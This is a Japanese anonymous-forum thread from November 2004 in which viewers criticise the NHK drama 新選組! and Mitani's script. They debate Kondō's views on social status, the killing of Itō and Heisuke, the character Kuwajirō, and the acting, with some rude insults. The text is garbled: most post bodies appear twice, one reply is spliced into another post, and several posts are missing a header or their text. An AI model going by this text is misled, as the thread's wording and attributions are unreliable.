なんか各自の演技の質が違い過ぎ
せっかく感動する場面があっても
急に変な展開になって持続しない・・・
なんか各自の演技の質が違い過ぎ
せっかく感動する場面があっても
急に変な展開になって持続しない・・・
451 ：名無しさん＠お腹いっぱい。：04/11/01 20:06:33 ID:7LgxOlrL
聞いたか坊主さん、おねがいしま～す
452 ：名無しさん＠お腹いっぱい。：04/11/01 21:42:43 ID:IrP6ddfK
なにこの脚本～ッ・・・
平助を手にかけるのもまーた下っぱか！
ドラマなんだから原田か永倉と斬り合えよ！
音楽でごまかすなっての！
あーなにこの糞脚本は！！
平助を手にかけるのもまーた下っぱか！
ドラマなんだから原田か永倉と斬り合えよ！
音楽でごまかすなっての！
あーなにこの糞脚本は！！
453 ：名無しさん＠お腹いっぱい。：04/11/01 21:52:05 ID:yZhvJXnt
871 名前：視聴率男 ◆yCjlATAwW. ：04/11/01 21:38:08 ID:tghTIHB/
（略）
「新選」19.6%・15.5%・22.2%
（略）
「新選」19.6%・15.5%・22.2%
454 ：名無しさん＠お腹いっぱい。：04/11/01 21:52:18 ID:mPfqTvPJ
455 ：名無しさん＠お腹いっぱい。：04/11/01 21:54:23 ID:vdE83LHt
勘太郎の熱演には今まであった芝居っぽさも感じられない程引き込まれてしまった。
その一方、ストーリーが今まであったどの回よりも支離滅裂というか
ご都合主義炸裂で、もうここまで来るとある意味感心する。
すごいな三谷!とことんやれ!!
その一方、ストーリーが今まであったどの回よりも支離滅裂というか
ご都合主義炸裂で、もうここまで来るとある意味感心する。
すごいな三谷!とことんやれ!!
456 ：名無しさん＠お腹いっぱい。：04/11/01 21:55:46 ID:yvMchjHQ
>>436=>>437
アンチスレでアンチ意見に反発すんなよ
偽正義感野郎がｗ
２ｃｈに存在するひとつのスレをageようがageまいが関係ないだろ
漏れがageなくなって他の奴がageてるし
前も同じこと言ってなかったか？
アンチスレでアンチ意見に反発すんなよ
偽正義感野郎がｗ
２ｃｈに存在するひとつのスレをageようがageまいが関係ないだろ
漏れがageなくなって他の奴がageてるし
前も同じこと言ってなかったか？
457 ：名無しさん＠お腹いっぱい。：04/11/01 22:14:19 ID:OeszSMwP
アンチ意見、というより、チョット・・・香ばしすぎて・・・
尋常の人間なら思いもつかない御意見に
背筋がゾクゾクしたが、自分だけではなかったようで。
尋常の人間なら思いもつかない御意見に
背筋がゾクゾクしたが、自分だけではなかったようで。
458 ：名無しさん＠お腹いっぱい。：04/11/01 22:16:27 ID:C7Qefk5q
近藤の中で直参になって喜ぶことと身分に囚われない世をつくること、
徳川の世を守ろうとすることと現行の身分制度を否定することは
どういう形で両立してるのかね。
三谷は新選組の身分の貴賎を問わない気風＝身分解放だと
とんでもない短絡をしてるような気がする。
新選組の気風は入隊者を事実上武士として扱うということであり
身分の差別がないということとは違う。
新選組の場合は例え農民であろうと町人であろうと
入隊したからには武士の倫理で縛られる。
農民の息子が「士道不覚悟」で粛清される組織のどこが
「身分に囚われない組織」なのか。
新選組という組織の信念は「我々は士分である」という
実は最も身分解放から遠い位置にあるというのに。
徳川の世を守ろうとすることと現行の身分制度を否定することは
どういう形で両立してるのかね。
三谷は新選組の身分の貴賎を問わない気風＝身分解放だと
とんでもない短絡をしてるような気がする。
新選組の気風は入隊者を事実上武士として扱うということであり
身分の差別がないということとは違う。
新選組の場合は例え農民であろうと町人であろうと
入隊したからには武士の倫理で縛られる。
農民の息子が「士道不覚悟」で粛清される組織のどこが
「身分に囚われない組織」なのか。
新選組という組織の信念は「我々は士分である」という
実は最も身分解放から遠い位置にあるというのに。
459 ：名無しさん＠お腹いっぱい。：04/11/01 22:26:12 ID:8o1wh3u7
>>458
たとえが悪いけど、某有名高校に親の資産状況関係なしに入れるようなもんじゃねぇの？
入ったからには貧乏だろうが金持ちだろうがハイソな人たちの校則に縛られるけど。
三谷の糞脚本のせいで言わんでもいいことを書かないといけないなんて、
三谷はやっぱりだめだなぁ。
もう少し源さんを強く描写すればコネなんて関係ないだろうと思えるのになぁ。
史実でもコネで隊長になってるやつがいた気がするしなぁ。
たとえが悪いけど、某有名高校に親の資産状況関係なしに入れるようなもんじゃねぇの？
入ったからには貧乏だろうが金持ちだろうがハイソな人たちの校則に縛られるけど。
三谷の糞脚本のせいで言わんでもいいことを書かないといけないなんて、
三谷はやっぱりだめだなぁ。
もう少し源さんを強く描写すればコネなんて関係ないだろうと思えるのになぁ。
史実でもコネで隊長になってるやつがいた気がするしなぁ。
460 ：名無しさん＠お腹いっぱい。：04/11/01 22:30:42 ID:vHRFseyl
最終話「誠」
「我らの誠……は正しくなかったのか……」近藤勇は瞳を閉じる。
剣が振り下ろされ、フェードアウト。
場面はかわり――松前城の一室。
机の前に座る永倉新八。
「報國記事」と白紙に筆を入れる。永倉の後姿。
永倉新八のナレーション
「近藤勇を筆頭とした新撰組はここで幕を閉じた」
「幕末の日本を駆け抜けた若き志士たち……」
「時代に迎えられながらも、疎まれし存在だった」
「だが誠を。信念を貫いた」
「その事を伝えるために私は筆をとることにする」
テーマソングが流れる。
＜完＞
「我らの誠……は正しくなかったのか……」近藤勇は瞳を閉じる。
剣が振り下ろされ、フェードアウト。
場面はかわり――松前城の一室。
机の前に座る永倉新八。
「報國記事」と白紙に筆を入れる。永倉の後姿。
永倉新八のナレーション
「近藤勇を筆頭とした新撰組はここで幕を閉じた」
「幕末の日本を駆け抜けた若き志士たち……」
「時代に迎えられながらも、疎まれし存在だった」
「だが誠を。信念を貫いた」
「その事を伝えるために私は筆をとることにする」
テーマソングが流れる。
＜完＞
461 ：名無しさん＠お腹いっぱい。：04/11/01 22:47:17 ID:xGnc5O+O
>>458
「身分の貴賎を問わない気風＝身分解放」だとはドラマでも
提示してないだろ。少なくとも劇中の近藤のセリフからはそうは伺えない。
現行の身分制度も近藤は否定してないだろ。
近藤が言ってるのは身分制そのものの否定ではなく、固定身分制の
否定、つまり下克上の容認だろ。
「身分を問わず力のある者」という近藤の意見は、出自よりも
実力という事じゃないか？
近藤が講武所で見たヤル気のない連中のシーンはこの近藤の意見の
伏線だった思うね。
「身分の貴賎を問わない気風＝身分解放」だとはドラマでも
提示してないだろ。少なくとも劇中の近藤のセリフからはそうは伺えない。
現行の身分制度も近藤は否定してないだろ。
近藤が言ってるのは身分制そのものの否定ではなく、固定身分制の
否定、つまり下克上の容認だろ。
「身分を問わず力のある者」という近藤の意見は、出自よりも
実力という事じゃないか？
近藤が講武所で見たヤル気のない連中のシーンはこの近藤の意見の
伏線だった思うね。
462 ：名無しさん＠お腹いっぱい。：04/11/01 23:09:38 ID:K3F0l4GH
「あ～な～た～は～ 悪くな～い」という香取しんごのセリフまわしにいまだになれないのですが、みなさんはどうですか？
セリフに重みを出そうとして、余計に大根になってると思うのですが。
新撰組！の中で一番演技が下手。
セリフに重みを出そうとして、余計に大根になってると思うのですが。
新撰組！の中で一番演技が下手。
463 ：名無しさん＠お腹いっぱい。：04/11/01 23:10:30 ID:eIQGEYC3
464 ：名無しさん＠お腹いっぱい。：04/11/01 23:14:10 ID:4Q82gpta
>461
その論理だと徳川幕府を否定することにならないか？
その論理だと徳川幕府を否定することにならないか？
465 ：名無しさん＠お腹いっぱい。：04/11/01 23:23:56 ID:r14ib/nW
「助けようとしたけど、ダメだった」ばっかりだな。
「助けた率」は恐ろしく低い。
「助けた率」は恐ろしく低い。
466 ：名無しさん＠お腹いっぱい。：04/11/01 23:25:24 ID:xGnc5O+O
>>464
近藤が江戸から遠く離れた幕府直轄領以外の出身だったら、
真っ先に徳川幕府を否定していただろうな。
それは己の根っこに関わる部分だからな。
徳川への愛着は捨てられなかったんだろ。
徳川体制を旧式から新式に改めたかったのだろうよ。
日本人が外国に行ってガイジンに日本の欠点を指摘され、
それにうなづきつつも日本を擁護してしまうような感情だろうな。
近藤が江戸から遠く離れた幕府直轄領以外の出身だったら、
真っ先に徳川幕府を否定していただろうな。
それは己の根っこに関わる部分だからな。
徳川への愛着は捨てられなかったんだろ。
徳川体制を旧式から新式に改めたかったのだろうよ。
日本人が外国に行ってガイジンに日本の欠点を指摘され、
それにうなづきつつも日本を擁護してしまうような感情だろうな。
467 ：名無しさん＠お腹いっぱい。：04/11/01 23:26:29 ID:TgPnMPNV
いちばん芝居がヘタなのは鍬次郎。
香取は黙ってれば近藤に見える。
っていうか。
香取が意外にもかなりモノになってきてるだけに
ご都合主義的な脚本がつくづく惜しい。
三谷には、命をかけて伊東を説得したはずの近藤が
平助を巻き添えにする可能性があるにもかかわらず
御稜衛士皆殺しにまったく反対しなかった理由を激しく問い詰めたい。 ＞464 まあ、薩長が幕府を倒すことも、力で上回っているなら正当な行いってことにはなるね。
香取は黙ってれば近藤に見える。
っていうか。
香取が意外にもかなりモノになってきてるだけに
ご都合主義的な脚本がつくづく惜しい。
三谷には、命をかけて伊東を説得したはずの近藤が
平助を巻き添えにする可能性があるにもかかわらず
御稜衛士皆殺しにまったく反対しなかった理由を激しく問い詰めたい。 ＞464 まあ、薩長が幕府を倒すことも、力で上回っているなら正当な行いってことにはなるね。
468 ：名無しさん＠お腹いっぱい。：04/11/01 23:32:21 ID:hwHPrMCv
結局、
日曜ゴールデンに自分のやりたい放題なコントを一年間流し続け、
新たな工房、厨房の腐女子を大量に顧客として獲得しつつ、
子飼い役者や、お近づきになりたいお気に入り美形役者にも恩を売った
三谷の一人勝ちってことでＦＡ？
まあ、アンチも激増したし、業界的な評価は下がったと思うが、
それは笑いの大学とか、本業の舞台の方で挽回するつもりなんだろ。
まだまだ業界のシンパもついてるだろうしな。
日曜ゴールデンに自分のやりたい放題なコントを一年間流し続け、
新たな工房、厨房の腐女子を大量に顧客として獲得しつつ、
子飼い役者や、お近づきになりたいお気に入り美形役者にも恩を売った
三谷の一人勝ちってことでＦＡ？
まあ、アンチも激増したし、業界的な評価は下がったと思うが、
それは笑いの大学とか、本業の舞台の方で挽回するつもりなんだろ。
まだまだ業界のシンパもついてるだろうしな。
469 ：名無しさん＠お腹いっぱい。：04/11/01 23:51:25 ID:Rws2FE7H
470 ：名無しさん＠お腹いっぱい。：04/11/01 23:51:26 ID:RL5wn/v/
別にこのドラマでの近藤が身分制度をどう考えようが
いいんだけどさ。それには視聴者が、近藤はそういう人なんだ、
って納得できるようなエピをもっと入れるとかしてくれないと。
しかも、熱く語る盛り上がりのシーンだったから、余計目立つ。
だって全員平隊士スタートじゃないし。
下克上ってか、隊士が勝手に暴走して上の人間殺してる印象が強いし。
暴走隊士はなぜかお咎めなしだし。なんかいろいろちぐはぐで。
結局、近藤ってなにがしたいんだ？って見てて思ったよ。
いいんだけどさ。それには視聴者が、近藤はそういう人なんだ、
って納得できるようなエピをもっと入れるとかしてくれないと。
しかも、熱く語る盛り上がりのシーンだったから、余計目立つ。
だって全員平隊士スタートじゃないし。
下克上ってか、隊士が勝手に暴走して上の人間殺してる印象が強いし。
暴走隊士はなぜかお咎めなしだし。なんかいろいろちぐはぐで。
結局、近藤ってなにがしたいんだ？って見てて思ったよ。
471 ：名無しさん＠お腹いっぱい。：04/11/01 23:56:40 ID:Rws2FE7H
>>470
まあ、近藤の言っていることと新選組の本質が
外に向かって「うちは実力主義」とアピールする同族会社のようで笑ったよ
実力さえあれば出自問わず監察ぐらいまではなれるかもね
コネできて運よければ副長助勤は見えるかもな
でも、局長副長の立場は絶対だよ
まあ、近藤の言っていることと新選組の本質が
外に向かって「うちは実力主義」とアピールする同族会社のようで笑ったよ
実力さえあれば出自問わず監察ぐらいまではなれるかもね
コネできて運よければ副長助勤は見えるかもな
でも、局長副長の立場は絶対だよ
472 ：名無しさん＠お腹いっぱい。：04/11/02 00:02:56 ID:oYGe1q+C
>>469
それは随分強引な解釈だな。
英国の階級制みたいなものからインドのカースト制まで
身分制は種々あるだろ。
身分・階級の違い、上下間をブレイクスルー出来るかどうか？、
それが難しかったのが江戸期。
それを緩めようという考え方だろ。
それは随分強引な解釈だな。
英国の階級制みたいなものからインドのカースト制まで
身分制は種々あるだろ。
身分・階級の違い、上下間をブレイクスルー出来るかどうか？、
それが難しかったのが江戸期。
それを緩めようという考え方だろ。
473 ：名無しさん＠お腹いっぱい。：04/11/02 00:07:01 ID:ZuDJvDJD
>471
そのアピールで、いかにもしたたかって感じだった伊東が
ころっと改心だよ。油小路は期待してただけにがっくりした。
そのアピールで、いかにもしたたかって感じだった伊東が
ころっと改心だよ。油小路は期待してただけにがっくりした。
474 ：名無しさん＠お腹いっぱい。：04/11/02 00:15:01 ID:v2Cluygf
475 ：名無しさん＠お腹いっぱい。：04/11/02 00:20:50 ID:v2Cluygf
476 ：名無しさん＠お腹いっぱい。：04/11/02 00:25:46 ID:5UnRepi7
三谷クンが適当に書いてるセリフに熱くなるのはやめましょうよ
477 ：名無しさん＠お腹いっぱい。：04/11/02 00:41:34 ID:oYGe1q+C
478 ：名無しさん＠お腹いっぱい。：04/11/02 00:52:14 ID:v2Cluygf
479 ：名無しさん＠お腹いっぱい。：04/11/02 01:07:38 ID:oYGe1q+C
>>472
だったら、世襲身分＋階級差というものがそれを突き破りたいと
思っている人にとって二重にハンデであるという事がわかるだろ。
特に江戸期は職業固定を当たり前とする傾向が強かったからな。
それと、社会制度については言及していなかったかもしれないが、
大河の近藤は世の中については言及していた。
自分の集団では既存社会と別の扱いをするのは既存社会に対する
アンチテーゼであるような言いっぷりだったな。
だったら、世襲身分＋階級差というものがそれを突き破りたいと
思っている人にとって二重にハンデであるという事がわかるだろ。
特に江戸期は職業固定を当たり前とする傾向が強かったからな。
それと、社会制度については言及していなかったかもしれないが、
大河の近藤は世の中については言及していた。
自分の集団では既存社会と別の扱いをするのは既存社会に対する
アンチテーゼであるような言いっぷりだったな。
480 ：名無しさん＠お腹いっぱい。：04/11/02 01:15:19 ID:wtAimFu1
さ あ も り あ がっ て
ま い り ま し た
ま い り ま し た
481 ：名無しさん＠お腹いっぱい。：04/11/02 01:24:18 ID:KeDpkphu
伊東を罠にかけて殺す、っていうんじゃ主人公としては、ダーティ過ぎるんで、
竜馬もどきのリベラルな事言わせて、鍬次郎に殺させただけでそ。。三谷っちが
苦肉の策で言わせたセリフをこねくり回してもしょうがない、とか「正解！」
言っちゃダメ？ スマソ・・・続けて・・・ファイト！
竜馬もどきのリベラルな事言わせて、鍬次郎に殺させただけでそ。。三谷っちが
苦肉の策で言わせたセリフをこねくり回してもしょうがない、とか「正解！」
言っちゃダメ？ スマソ・・・続けて・・・ファイト！
482 ：名無しさん＠お腹いっぱい。：04/11/02 01:25:37 ID:v2Cluygf
>>479
用語の使い方がおかしいのを指摘してただけなんだけど
＞それと、社会制度については言及していなかったかもしれないが、
＞大河の近藤は世の中については言及していた。
＞自分の集団では既存社会と別の扱いをするのは既存社会に対する
＞アンチテーゼであるような言いっぷりだったな。
近藤は新選組の理念をいっても
それが世の中をどうするかって話とつなげてないってことよ
自分の集団だけ既存社会に背を向けても世の中とは何の関係もないの
新選組方式を世間に広めようってのならともかく
用語の使い方がおかしいのを指摘してただけなんだけど
＞それと、社会制度については言及していなかったかもしれないが、
＞大河の近藤は世の中については言及していた。
＞自分の集団では既存社会と別の扱いをするのは既存社会に対する
＞アンチテーゼであるような言いっぷりだったな。
近藤は新選組の理念をいっても
それが世の中をどうするかって話とつなげてないってことよ
自分の集団だけ既存社会に背を向けても世の中とは何の関係もないの
新選組方式を世間に広めようってのならともかく
483 ：名無しさん＠お腹いっぱい。：04/11/02 01:27:42 ID:ZuDJvDJD
普通に見てる方としては単に
出自を問わず入隊させても、入隊したら出自で扱い違うじゃん、
て感じ。
出自を問わず入隊させても、入隊したら出自で扱い違うじゃん、
て感じ。
484 ：名無しさん＠お腹いっぱい。：04/11/02 01:28:28 ID:wtAimFu1
あげ
485 ：名無しさん＠お腹いっぱい。：04/11/02 01:34:49 ID:oYGe1q+C
>>482
そりゃそうなんじゃないの？
近藤は別に世の中をどうこう出来る立場じゃないのだし。
ただ、そういう立場の人間でも願いや理想はあるってだけの話だろ。
そしえ、自分の出来る範囲で実行してるっていう話だろ。
そもそも、近藤の考え方というか思想についてココで語っているので
あって、それが世間にどういう影響を与えているかココでを論じて
いるのではないし。
そりゃそうなんじゃないの？
近藤は別に世の中をどうこう出来る立場じゃないのだし。
ただ、そういう立場の人間でも願いや理想はあるってだけの話だろ。
そしえ、自分の出来る範囲で実行してるっていう話だろ。
そもそも、近藤の考え方というか思想についてココで語っているので
あって、それが世間にどういう影響を与えているかココでを論じて
いるのではないし。
486 ：名無しさん＠お腹いっぱい。：04/11/02 01:37:20 ID:v2Cluygf
>>483
まあ、近藤は開明的理念のつもりで隊士の採用を話してたが
新選組が入隊に出自を限ったら理想とする戦闘行動に必要な人数満たせらんないだろうな
こんな現実な問題は土方が考えることだろうが
どうも
法度のことといい
新選組発足した頃の事情忘れて（または無視して）美化してない？って言い分がちらほら見える
まあ、近藤は開明的理念のつもりで隊士の採用を話してたが
新選組が入隊に出自を限ったら理想とする戦闘行動に必要な人数満たせらんないだろうな
こんな現実な問題は土方が考えることだろうが
どうも
法度のことといい
新選組発足した頃の事情忘れて（または無視して）美化してない？って言い分がちらほら見える
487 ：名無しさん＠お腹いっぱい。：04/11/02 01:47:28 ID:v2Cluygf
>>485
だから近藤は世の中や国事のことを話しているわけじゃなくて
自分語りしているだけって話をしているのよ
伊東は別に新選組に骨をうずめたいわけではないので
新選組が世間から比べてどんな開明的組織であっても伊東に取っちゃ何の意味もないのに
だから近藤は世の中や国事のことを話しているわけじゃなくて
自分語りしているだけって話をしているのよ
伊東は別に新選組に骨をうずめたいわけではないので
新選組が世間から比べてどんな開明的組織であっても伊東に取っちゃ何の意味もないのに
488 ：名無しさん＠お腹いっぱい。：04/11/02 01:54:18 ID:oYGe1q+C
489 ：名無しさん＠お腹いっぱい。：04/11/02 01:57:52 ID:oYGe1q+C
490 ：名無しさん＠お腹いっぱい。：04/11/02 02:21:23 ID:v2Cluygf
>>488
４５８じゃありません
>>489
劇中では
志ってのが「この国をどうするか」って話ではなく
「近藤さんって人格者ね」ってレベルの話に落ちてるってことよ
伊東はお悩み相談室のすばらしいお兄さんに感動しちまってるけど
伊東が国事活動する上で何の意味もないよってこと
まあ、物語上すぐ死ぬからどうでもいいだろうが
４５８じゃありません
>>489
劇中では
志ってのが「この国をどうするか」って話ではなく
「近藤さんって人格者ね」ってレベルの話に落ちてるってことよ
伊東はお悩み相談室のすばらしいお兄さんに感動しちまってるけど
伊東が国事活動する上で何の意味もないよってこと
まあ、物語上すぐ死ぬからどうでもいいだろうが
491 ：名無しさん＠お腹いっぱい。：04/11/02 02:30:30 ID:eVv4rDb2
492 ：名無しさん＠お腹いっぱい。：04/11/02 02:35:09 ID:oYGe1q+C
>>490
なんかよくわからんけど、君、もしかして伊東ファンなのか？
ドラマを観る限り、あの場合、伊東は「この国をどうするか」
という話をしにきたわけではないのだから、「この国をどうするか」
という話をしてないのは別にいいんじゃないのか？
君の意見は何か君がドラマに求めているもの（例えば、伊東が
国事活動を語る、とかか？）とドラマの内容が違うという事を
指摘をしているようにしか思えないんだが？
もともと俺も伊東についての話をしていたわけではないので
この辺で切り上げるよ。
なんかよくわからんけど、君、もしかして伊東ファンなのか？
ドラマを観る限り、あの場合、伊東は「この国をどうするか」
という話をしにきたわけではないのだから、「この国をどうするか」
という話をしてないのは別にいいんじゃないのか？
君の意見は何か君がドラマに求めているもの（例えば、伊東が
国事活動を語る、とかか？）とドラマの内容が違うという事を
指摘をしているようにしか思えないんだが？
もともと俺も伊東についての話をしていたわけではないので
この辺で切り上げるよ。
493 ：名無しさん＠お腹いっぱい。：04/11/02 02:41:46 ID:v2Cluygf
494 ：虚無僧：04/11/02 02:58:08 ID:zVTjm5G/
海外の映画には、主人公を美化せずともいい映画って結構あるよな。自分は
「アラビアのロレンス」なんてわすれられないな。
主人公が、トルコ軍の将軍に捕まって拷問を受ける。その後、解放されるが、これにより自分の英雄意識は地に落ち、
またトルコ人に激しい憎悪を持つ。少しして、トルコ軍と戦い勝つのだが、降伏する者まで殺してしまう。この戦いの前、
ロレンスが、「皆殺しだっ」と叫ぶシーンが、非常に有名でまたとても迫力があったりする。なによりも、陰惨なシーンなのに、
主人公が嫌にならない。映画とお茶の間のテレビとは違うよ、といったらそれまでだが、今回でも近藤に「伊東さん、個人にはうらみは
ないが、我らの目的の為伊東一派は死んでもらう。近藤勇は鬼でござるっ」とでも、言わせて欲しかったな。当時は、思想の違いで激しく
ぶつかり合った時代、視聴者もそれはそれなりに納得したろうけど。
「アラビアのロレンス」なんてわすれられないな。
主人公が、トルコ軍の将軍に捕まって拷問を受ける。その後、解放されるが、これにより自分の英雄意識は地に落ち、
またトルコ人に激しい憎悪を持つ。少しして、トルコ軍と戦い勝つのだが、降伏する者まで殺してしまう。この戦いの前、
ロレンスが、「皆殺しだっ」と叫ぶシーンが、非常に有名でまたとても迫力があったりする。なによりも、陰惨なシーンなのに、
主人公が嫌にならない。映画とお茶の間のテレビとは違うよ、といったらそれまでだが、今回でも近藤に「伊東さん、個人にはうらみは
ないが、我らの目的の為伊東一派は死んでもらう。近藤勇は鬼でござるっ」とでも、言わせて欲しかったな。当時は、思想の違いで激しく
ぶつかり合った時代、視聴者もそれはそれなりに納得したろうけど。
495 ：名無しさん＠お腹いっぱい。：04/11/02 03:17:47 ID:yQgEVVtj
なんでもかんでも鍬次郎に押し付けんなや
あんな隊士だったら即行で粛清の対象だろ。
三谷アホか。考え無しが。
あんな隊士だったら即行で粛清の対象だろ。
三谷アホか。考え無しが。
496 ：虚無僧：04/11/02 03:23:24 ID:zodmBHpi
結局、乱世ってのは、そういう時代なんだよ。どっちが善でどっちが悪って
時代じゃない。強盗入って人殺すのと、違い加害者が一方的に悪いのじゃない。
近藤が「伊東一味は皆殺しだっ」と叫んでも、視聴者だって納得する。そういう
時代だったから仕方がなかったのだ、と。卑怯な手を使っても、必勝をきし、味方の
人命を損なわないゆえ、のことと視聴者も納得できるところもある。が、三谷はかくも美化しなければ視聴者に
近藤が受け入れられないのでは、と心配なのかも。このふっきれなさが我々にはやるせない。
時代じゃない。強盗入って人殺すのと、違い加害者が一方的に悪いのじゃない。
近藤が「伊東一味は皆殺しだっ」と叫んでも、視聴者だって納得する。そういう
時代だったから仕方がなかったのだ、と。卑怯な手を使っても、必勝をきし、味方の
人命を損なわないゆえ、のことと視聴者も納得できるところもある。が、三谷はかくも美化しなければ視聴者に
近藤が受け入れられないのでは、と心配なのかも。このふっきれなさが我々にはやるせない。
497 ：名無しさん＠お腹いっぱい。：04/11/02 03:45:16 ID:sbcRe6eW
参考までに。
映画版「壬生義士伝」の近藤「伊東を潰せ！」
映画版「壬生義士伝」の近藤「伊東を潰せ！」
498 ：名無しさん＠お腹いっぱい。：04/11/02 03:46:54 ID:MTiDc/S/
ひょっとして三谷は、そういう時代だったから仕方がなかったのだ、という考え方自体が気に喰わんのかもしれない。
この新選組！は甘々の妥協ドラマだと思っていたが、前回の竜馬を近藤が助けようとするくだりとかを見て、安易な現状肯定が多い昨今、むしろ反骨精神すら感じてきたよ。
それでも従来の新選組像を捨てきれないものとしてはアンチでいざるを得ないのだが
この新選組！は甘々の妥協ドラマだと思っていたが、前回の竜馬を近藤が助けようとするくだりとかを見て、安易な現状肯定が多い昨今、むしろ反骨精神すら感じてきたよ。
それでも従来の新選組像を捨てきれないものとしてはアンチでいざるを得ないのだが
499 ：名無しさん＠お腹いっぱい。：04/11/02 07:08:25 ID:1Ak6aaPo
>>498
そういった時代のアンチテーゼを描きたいなら新選組を主役にするのが間違いだな。
まだ龍馬のほうがその主旨を表すのにいい素材だった。
百歩譲って「自分の主義主張はそうでも廻りがそれを許してくれなかった」という表現をしたいなら、
我儘不遜で知られる近藤を使うより、徳川の藩屏として生まれ忠義の為に身を滅ぼした松平容保を
主役としたほうが伝えられるものがあったと思う。
そういった時代のアンチテーゼを描きたいなら新選組を主役にするのが間違いだな。
まだ龍馬のほうがその主旨を表すのにいい素材だった。
百歩譲って「自分の主義主張はそうでも廻りがそれを許してくれなかった」という表現をしたいなら、
我儘不遜で知られる近藤を使うより、徳川の藩屏として生まれ忠義の為に身を滅ぼした松平容保を
主役としたほうが伝えられるものがあったと思う。
まぁ、竜馬や会津公ではあまりにそのままなわけで・・・
新選組で敢えてそれをやるところが
ケレン味と申しましょうか
俺の全く知らない新選組像を見せて貰えて面白いとは思うね
とはいえ、上にも書いたように断じてこれは俺の知ってる新選組ではないわけだが・・・
新選組で敢えてそれをやるところが
ケレン味と申しましょうか
俺の全く知らない新選組像を見せて貰えて面白いとは思うね
とはいえ、上にも書いたように断じてこれは俺の知ってる新選組ではないわけだが・・・
501 ：名無しさん＠お腹いっぱい。：04/11/02 08:15:15 ID:korsshlw
>>471
>まあ、近藤の言っていることと新選組の本質が
>外に向かって「うちは実力主義」とアピールする同族会社のようで笑ったよ
それ、まさに俺の会社だｗ
社長の馬鹿息子が実力もないのに課長（副長助勤並）になってる
まあ、侍になれた！と土方と抱き合って喜んだ近藤に
身分制解放みたいな話をされてもハァ？だな。
このドラマの中での近藤の政治的発言は、すべて付け焼刃の
薄っぺらいもので萎えるよ。
志士であった清河や竜馬・伊東が語るのとは訳が違う。
>まあ、近藤の言っていることと新選組の本質が
>外に向かって「うちは実力主義」とアピールする同族会社のようで笑ったよ
それ、まさに俺の会社だｗ
社長の馬鹿息子が実力もないのに課長（副長助勤並）になってる
まあ、侍になれた！と土方と抱き合って喜んだ近藤に
身分制解放みたいな話をされてもハァ？だな。
このドラマの中での近藤の政治的発言は、すべて付け焼刃の
薄っぺらいもので萎えるよ。
志士であった清河や竜馬・伊東が語るのとは訳が違う。
502 ：名無しさん＠お腹いっぱい。：04/11/02 09:51:12 ID:EGPdcda3
別に近藤は身分制解放の話なんてしてねーじゃん。
503 ：名無しさん＠お腹いっぱい。：04/11/02 10:16:55 ID:ZuDJvDJD
うけたイメージ的には501みたいなもんだ。
なに坂本みたいなこと言ってんだ、近藤？
妙に感動的なシーンぽい演出だけど、言ってること変だぞ？
・・・おいおいおい、伊東がほだされちやったよー！
なんでだ？こいつらアホ？という感想。
あとさ、隊内、誤解と思い込みとすれ違いと個人個人の勝手での
殺し合いばっかり。意思の疎通なさすぎ。近藤の統率力が感じられない。
なに坂本みたいなこと言ってんだ、近藤？
妙に感動的なシーンぽい演出だけど、言ってること変だぞ？
・・・おいおいおい、伊東がほだされちやったよー！
なんでだ？こいつらアホ？という感想。
あとさ、隊内、誤解と思い込みとすれ違いと個人個人の勝手での
殺し合いばっかり。意思の疎通なさすぎ。近藤の統率力が感じられない。
504 ：名無しさん＠お腹いっぱい。：04/11/02 10:23:58 ID:6tTXSmsA
505 ：名無しさん＠お腹いっぱい。：04/11/02 10:25:31 ID:Tf30lbQ0
みんなそんなに三谷と近藤に夢中なんだ
アホらしい
アホらしい
506 ：名無しさん＠お腹いっぱい。：04/11/02 10:26:25 ID:Nl/rkWBo
まったくだよね
さんざん既出だけど、やっぱり鍬次郎納得いかねー。
ある種超法規的存在じゃね？
局長の意図を悉く無視して（元）幹部殺しまくり。
近藤土方いる意味無いじゃん。
今新選組で一番偉いのは鍬次郎だね。間違いない。
さんざん既出だけど、やっぱり鍬次郎納得いかねー。
ある種超法規的存在じゃね？
局長の意図を悉く無視して（元）幹部殺しまくり。
近藤土方いる意味無いじゃん。
今新選組で一番偉いのは鍬次郎だね。間違いない。
507 ：名無しさん＠お腹いっぱい。：04/11/02 10:35:59 ID:ai7oEVaW
う～む、どうも最近アンチスレが新選組の末期的症状を示してきているような・・・・
時代に取り残されつつ有るのは自分達で、
大河の夜明けは近いのかもしれん
などと思わない事もない
時代に取り残されつつ有るのは自分達で、
大河の夜明けは近いのかもしれん
などと思わない事もない
508 ：名無しさん＠お腹いっぱい。：04/11/02 10:39:05 ID:5TybHA+l
509 ：名無しさん＠お腹いっぱい。：04/11/02 10:42:33 ID:ZuDJvDJD
510 ：名無しさん＠お腹いっぱい。：04/11/02 10:52:39 ID:Nl/rkWBo
結局都合の悪いことを全部鍬次郎にかぶせるために法度をなくしたんだよなってのが
見え見えなのが萎えるんだよね。
てかあれって「何でもかんでも切腹はやめよう」って話しじゃなかったの？
「局長のためを思って」が免罪符で一切のお咎めなしってまずいじゃん。
鉄の規律って、通説の新選組の最大の長所であり同時に短所でもあるものなのに、
それをここまでダメにしちゃったら、そりゃ骨抜きだよな。
自分の知ってる新選組とは全然違うや。
見え見えなのが萎えるんだよね。
てかあれって「何でもかんでも切腹はやめよう」って話しじゃなかったの？
「局長のためを思って」が免罪符で一切のお咎めなしってまずいじゃん。
鉄の規律って、通説の新選組の最大の長所であり同時に短所でもあるものなのに、
それをここまでダメにしちゃったら、そりゃ骨抜きだよな。
自分の知ってる新選組とは全然違うや。
511 ：名無しさん＠お腹いっぱい。：04/11/02 11:39:12 ID:AyWCfqQ9
>>509
>>510
禿堂。従来のものをやりたくないのはわかるんだけど。
違うことやれば即おもしろいかっていうとそうじゃないんだよね。
鍬次郎もただ近藤を善人にするための言い訳のためだけに出ている感じ。
>>510
禿堂。従来のものをやりたくないのはわかるんだけど。
違うことやれば即おもしろいかっていうとそうじゃないんだよね。
鍬次郎もただ近藤を善人にするための言い訳のためだけに出ている感じ。
512 ：名無しさん＠お腹いっぱい。：04/11/02 11:58:17 ID:c+1xyIlm
>511
それ、少し前までは土方の役目だったよね。
でも土方には悪役（というにはぬるい所もあったけど）としての魅力とか
自分が泥をかぶる覚悟が台詞だけじゃなく感じられて、まだよかった。
鍬次郎はほーんと何にも考えてないただのＤＱＮにしか描かれてないから最低。
あれじゃ役者も可哀想だよ。まあその辺の機微を演じられる力量は中の人にも
無いかもしれんが。
それ、少し前までは土方の役目だったよね。
でも土方には悪役（というにはぬるい所もあったけど）としての魅力とか
自分が泥をかぶる覚悟が台詞だけじゃなく感じられて、まだよかった。
